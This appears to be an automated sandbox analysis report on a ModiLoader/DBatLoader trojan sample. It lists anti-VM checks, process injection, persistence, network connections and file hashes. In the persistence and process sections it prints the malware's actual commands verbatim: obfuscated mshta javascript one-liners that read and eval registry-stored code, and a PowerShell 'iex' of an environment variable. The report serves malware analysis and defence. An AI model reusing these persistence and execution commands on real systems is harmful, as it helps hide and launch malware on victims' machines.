Malware Analysis Report

2024-10-19 07:04

Sample ID 240507-f5r2gaec47
Target 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118
SHA256 5f2ebf4e711218b1c47e8c83cbe354a369efcfed3835c480c7ae08001dfbdb8f
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5f2ebf4e711218b1c47e8c83cbe354a369efcfed3835c480c7ae08001dfbdb8f

Threat Level: Known bad

The file 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

Looks for VirtualBox drivers on disk

Looks for VirtualBox Guest Additions in registry

Checks for common network interception software

ModiLoader Second Stage

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Looks for VMWare Tools registry key

Executes dropped EXE

Checks BIOS information in registry

Loads dropped DLL

Checks computer location settings

Drops startup file

Deletes itself

Adds Run key to start application

Maps connected drives based on registry

Suspicious use of SetThreadContext

Drops file in System32 directory

Unsigned PE

Enumerates physical storage devices

Suspicious use of UnmapMainImage

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-07 05:27

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-07 05:27

Reported

2024-05-07 05:30

Platform

win7-20231129-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__ C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMWare, Inc.\VMWare Tools C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMWare, Inc.\VMWare Tools C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\be0980.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:BD9HFvlyJ1=\"uR7kzy\";Lp3=new%20ActiveXObject(\"WScript.Shell\");ttp4sMhEJ=\"a5d\";Ko5k6u=Lp3.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\hsgrudze\\\\zdxvakv\");wDW5uLPk=\"aVWk\";eval(Ko5k6u);VZMTwY1wp=\"Rz\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:QUsnyCm4=\"6ycAtR\";nP8=new%20ActiveXObject(\"WScript.Shell\");y8eqNivYR=\"q6w\";CqF37O=nP8.RegRead(\"HKCU\\\\software\\\\hsgrudze\\\\zdxvakv\");f6KCIIYb=\"5IubddsEY\";eval(CqF37O);zG6PSey=\"IIHLonuFAG\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\416844\\eecdc5.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2812 set thread context of 2140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2140 set thread context of 2876 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494\shell\open\command\ = "mshta \"javascript:i7KylNfXv=\"LZZHoS18\";W9t=new ActiveXObject(\"WScript.Shell\");vMC7MiqH5v=\"I\";EZz0z2=W9t.RegRead(\"HKCU\\\\software\\\\hsgrudze\\\\zdxvakv\");X4Hilzcyd=\"l\";eval(EZz0z2);ba9mfL3fQW=\"n6zJegkNXW\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\.983f33d C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\.983f33d\ = "81b494" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494\shell C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2340 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe
PID 2340 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe
PID 2340 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe
PID 2340 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe
PID 2540 wrote to memory of 2812 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2540 wrote to memory of 2812 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2540 wrote to memory of 2812 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2540 wrote to memory of 2812 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2812 wrote to memory of 2140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2812 wrote to memory of 2140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2812 wrote to memory of 2140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2812 wrote to memory of 2140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2812 wrote to memory of 2140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2812 wrote to memory of 2140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2812 wrote to memory of 2140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2812 wrote to memory of 2140 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2140 wrote to memory of 2876 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2140 wrote to memory of 2876 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2140 wrote to memory of 2876 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2140 wrote to memory of 2876 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2140 wrote to memory of 2876 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2140 wrote to memory of 2876 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2140 wrote to memory of 2876 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2140 wrote to memory of 2876 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe"

C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe

"C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:wh5VXfF0="RGcF6bBbn8";J3G3=new%20ActiveXObject("WScript.Shell");SsG4Jhybu="zl6rcltazH";Lcu0I=J3G3.RegRead("HKLM\\software\\Wow6432Node\\QpgStiGQ4\\NzOMWkbXt");Lqt0swCDV="XirWa1";eval(Lcu0I);cRNm3TX="ny";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:amuexm

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
IE 52.92.6.238:80 tcp
IN 14.142.156.224:443 tcp
GB 194.217.173.204:80 tcp
SA 51.252.112.126:80 tcp
US 168.88.177.162:80 tcp
US 63.21.139.29:80 tcp
US 63.87.111.199:80 tcp
JP 126.133.62.34:80 tcp
US 159.35.127.161:80 tcp
CN 27.191.198.54:80 tcp
US 205.181.207.172:80 tcp
TN 196.178.176.76:80 tcp
TR 31.206.62.211:80 tcp
US 11.184.214.219:80 tcp
SC 196.17.161.146:80 tcp
CN 119.250.87.75:80 tcp
GB 81.144.85.167:80 tcp
IN 59.99.172.115:80 tcp
US 69.74.203.135:443 tcp
KR 113.52.219.23:80 tcp
IN 117.193.6.80:80 tcp
US 174.245.24.126:80 tcp
US 29.195.112.212:8080 tcp
US 135.198.3.219:80 tcp
US 8.8.8.8:53 vatutani.ru udp
US 151.143.202.192:80 tcp
GB 46.33.136.106:80 tcp
CA 70.73.174.147:80 tcp
US 6.253.17.70:8080 tcp
US 174.62.184.147:80 tcp
US 209.1.76.68:80 tcp
US 136.42.239.110:80 tcp
ES 194.69.227.83:80 tcp
RO 109.100.253.8:80 tcp
SG 8.165.250.52:80 tcp
MX 189.135.32.200:443 tcp
US 184.101.106.190:443 tcp
IT 195.178.28.171:80 tcp
US 6.20.31.237:80 tcp
KR 112.159.237.77:443 tcp
NO 84.210.226.154:80 tcp
JP 210.251.223.38:80 tcp
BR 191.40.163.149:80 tcp
US 17.222.70.111:80 tcp
BR 191.130.30.62:80 tcp
US 55.126.144.247:80 tcp
US 44.110.41.155:80 tcp
US 22.215.14.101:80 tcp
US 208.93.176.126:80 tcp
US 171.197.242.49:80 tcp
SI 153.5.3.223:80 tcp
CA 155.194.128.196:80 tcp
CH 194.48.245.50:443 tcp
US 71.44.217.66:80 tcp
NL 194.122.58.228:80 tcp
US 3.133.241.183:80 tcp
FR 89.83.246.174:80 tcp
BG 91.148.173.194:80 tcp
BR 179.173.126.135:80 tcp
GB 128.40.197.30:80 tcp
US 18.222.157.255:80 tcp
CN 60.23.66.165:80 tcp
US 71.142.131.151:80 tcp
US 40.142.62.124:80 tcp
US 165.3.5.254:80 tcp
US 167.3.44.210:80 tcp
BR 45.230.58.105:80 tcp
RU 195.98.43.22:80 tcp
US 6.121.32.185:8080 tcp
PL 159.205.76.234:80 tcp
CO 181.232.87.143:80 tcp
CN 113.209.192.137:80 tcp
US 55.54.10.187:80 tcp
N/A 100.81.25.11:80 tcp
CU 152.207.37.169:8080 tcp
DE 136.172.137.160:80 tcp
BG 5.104.184.67:80 tcp
US 104.36.237.136:443 tcp
US 44.2.255.186:80 tcp
US 13.92.219.117:8080 tcp
US 156.2.146.52:80 tcp
RS 109.245.77.12:80 tcp
US 199.76.45.40:8080 tcp
GB 212.20.237.148:80 tcp
TR 195.174.196.213:80 tcp
US 7.19.120.207:80 tcp
US 71.218.162.90:80 tcp
US 100.189.109.150:80 tcp
JP 124.39.183.156:80 tcp
CN 36.134.117.80:80 tcp
US 52.201.200.251:80 tcp
SA 100.146.79.56:80 tcp
US 24.104.205.229:80 tcp
US 140.144.144.109:80 tcp
JP 133.111.153.16:80 tcp
JP 131.112.119.121:80 tcp
US 6.111.12.207:80 tcp
US 97.157.133.203:8080 tcp
US 32.244.86.5:80 tcp
SY 31.9.122.117:80 tcp
ES 2.143.248.246:80 tcp
US 7.220.15.50:80 tcp
US 156.78.5.191:80 tcp
JP 43.235.114.217:80 tcp
AR 190.188.97.218:443 tcp
US 64.238.41.29:80 tcp
US 209.184.85.34:80 tcp
BR 186.200.150.24:8080 tcp
US 100.163.10.74:80 tcp
US 128.147.29.218:80 tcp
US 205.20.104.233:80 tcp
DK 93.164.36.111:80 tcp
US 206.40.215.165:80 tcp
GB 151.224.94.50:80 tcp
CN 36.24.1.172:80 tcp
BR 177.75.29.251:80 tcp
US 172.191.123.127:80 tcp
IN 45.251.70.154:80 tcp
US 69.147.219.224:80 tcp
CN 101.34.76.74:80 tcp
PL 46.171.151.157:80 tcp
CN 36.198.154.39:8080 tcp
US 21.122.29.82:80 tcp
US 128.4.218.174:80 tcp
US 198.189.242.70:80 tcp
SA 100.249.158.191:80 tcp
FR 31.38.103.224:80 tcp
RU 188.19.6.253:8080 tcp
CN 121.11.22.201:8080 tcp
US 215.239.45.41:443 tcp
IT 81.115.217.167:80 tcp
JP 202.11.125.88:80 tcp
BR 191.200.122.119:80 tcp
JP 160.26.196.172:80 tcp
KR 124.61.71.130:80 tcp
NZ 103.243.103.15:80 tcp
IN 171.59.177.45:80 tcp
US 56.51.67.107:80 tcp
RU 2.92.147.53:80 tcp
ZA 105.255.7.18:80 tcp
US 99.65.201.247:80 tcp
BR 189.116.224.68:80 tcp
CN 218.196.173.178:80 tcp
CN 59.194.181.131:80 tcp
CN 111.79.243.145:80 tcp
GB 147.189.238.128:80 tcp
US 7.205.94.226:8080 tcp

Files

memory/2340-0-0x0000000000220000-0x0000000000267000-memory.dmp

memory/2340-1-0x0000000000220000-0x0000000000267000-memory.dmp

memory/2340-5-0x0000000000350000-0x0000000000357000-memory.dmp

memory/2340-4-0x00000000002B0000-0x00000000002B5000-memory.dmp

memory/2340-3-0x0000000000400000-0x000000000043E000-memory.dmp

\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe

MD5 1f98f4990bbf6b268365ba7fdf56405f
SHA1 e1f5a46baf14c6fdd67fcb1b3d37b54ad9a52317
SHA256 5f2ebf4e711218b1c47e8c83cbe354a369efcfed3835c480c7ae08001dfbdb8f
SHA512 bbf91e6a1a1c2a50f630d4ec347c7678647a78ce976af3db92b62498f77af84f506e1dadd4d9d8757c9f2297e80bbaf96e8575f5cb331800465417a6ed08717f

memory/2340-13-0x0000000001EA0000-0x0000000001F74000-memory.dmp

memory/2340-17-0x0000000001EA0000-0x0000000001F74000-memory.dmp

memory/2340-18-0x0000000001EA0000-0x0000000001F74000-memory.dmp

memory/2340-16-0x0000000001EA0000-0x0000000001F74000-memory.dmp

memory/2340-19-0x0000000001EA0000-0x0000000001F74000-memory.dmp

memory/2340-15-0x0000000001EA0000-0x0000000001F74000-memory.dmp

memory/2340-14-0x0000000001EA0000-0x0000000001F74000-memory.dmp

memory/2340-20-0x0000000001EA0000-0x0000000001F74000-memory.dmp

memory/2308-25-0x00000000002E0000-0x0000000000327000-memory.dmp

memory/2308-24-0x00000000002E0000-0x0000000000327000-memory.dmp

memory/2340-26-0x0000000000400000-0x000000000043E000-memory.dmp

memory/2340-27-0x0000000001EA0000-0x0000000001F74000-memory.dmp

memory/2812-31-0x00000000061E0000-0x00000000062B4000-memory.dmp

memory/2140-32-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-34-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2812-35-0x00000000061E0000-0x00000000062B4000-memory.dmp

memory/2140-40-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-43-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-44-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-41-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-38-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-50-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-51-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-39-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-75-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-66-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-74-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-65-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-64-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-63-0x0000000000240000-0x000000000037E000-memory.dmp

memory/2140-55-0x0000000000240000-0x000000000037E000-memory.dmp

